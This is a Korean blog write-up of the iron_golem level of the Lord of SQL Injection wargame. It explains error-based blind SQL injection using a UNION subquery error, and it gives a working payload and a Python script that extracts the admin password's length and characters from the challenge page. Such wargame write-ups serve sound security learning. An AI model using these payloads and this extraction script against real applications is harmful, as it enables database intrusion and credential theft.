이번에 처치할 몬스터는 iron golem!
코드를 보면
필터링에 sleep, benchmark가 추가되었다.
처음에는 이걸 왜 필터링하였는지 몰라 검색해 봤더니 time base sql injection에 사용된다고 한다.
(select * from table sleep(2) 이 쿼리문이 성공하면 2초 기다렸다가 결과가 반환된다. 실패하면 바로 반환되는 점을 이용한 blind sql injection이다.)
그다음 주의 깊게 볼 코드는 if(mysql_erroe($db) exit(mysql_error($db)); 이 부분이다.
sql문에 에러가 생길 시 에러메시지를 출력하는 것인데 우리가 지난 문제들을 풀 때는 hello admin! 같이 참일 때 알림이 출력되었지만 이번 문제에서는 아무런 메시지도 출력되지 않는 것을 알 수 있다.
이를 봐서 에러메세지를 이용한 error based sql injection을 사용하는 것을 알 수 있었다.
error based sql injection에는 다양한 방법이 존재하는데
이번 문제에서 사용할 방법은 union을 사용해 볼 예정이다.
union은 ctf에서도 사용해봤는데 union을 이용하면 select문 두 개를 합한 결과를 출력하므로
결과 반환값의 수가 맞지 않으면 에러메세지를 출력하게 된다.
?pw=' or id='admin' and if(length(pw)=1,(select 0 union select 1),True)%23과 같이 입력할 시
if문을 통해 pw의 길이를 알아볼수 있는데 pw의 길이가 참이면 union을 실행시켜 에러메시지가 나타나게 하는 형식이다.
이 방법을 통해 저번에 사용했던 코드에 변형하여 pw의 길이와 값을 알아보는 코드를 작성해보았다.
import requests
url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookies={"PHPSESSID":"ke1oo8qkfgv5k8af41pajf039k"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(0,100): #길이구하기
pay=f"?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={i},(select%200%20union%20select%201),True)%23"
res=requests.get(url+pay,cookies=cookies)
if "Subquery returns more than 1 row" in res.text:
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
pay=f"?pw='or id='admin' and if(substr(pw,{i},1)='{j}',(select%200%20union%20select%201),True)%23"
res=requests.get(url+pay,cookies=cookies)
if "Subquery returns more than 1 row" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
굿굿!
다음 몬스터 잡으러 가자~!
'Web > Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 23단계 (hell_fire) (0) | 2023.04.11 |
---|---|
Lord of SQL Injection 22단계 (dark_eyes) (0) | 2023.04.10 |
Lord of SQL Injection 20단계 (dragon) (0) | 2023.03.31 |
Lord of SQL Injection 19단계 (xavis) (0) | 2023.03.30 |
Lord of SQL Injection 18단계 (nightmare) (0) | 2023.03.29 |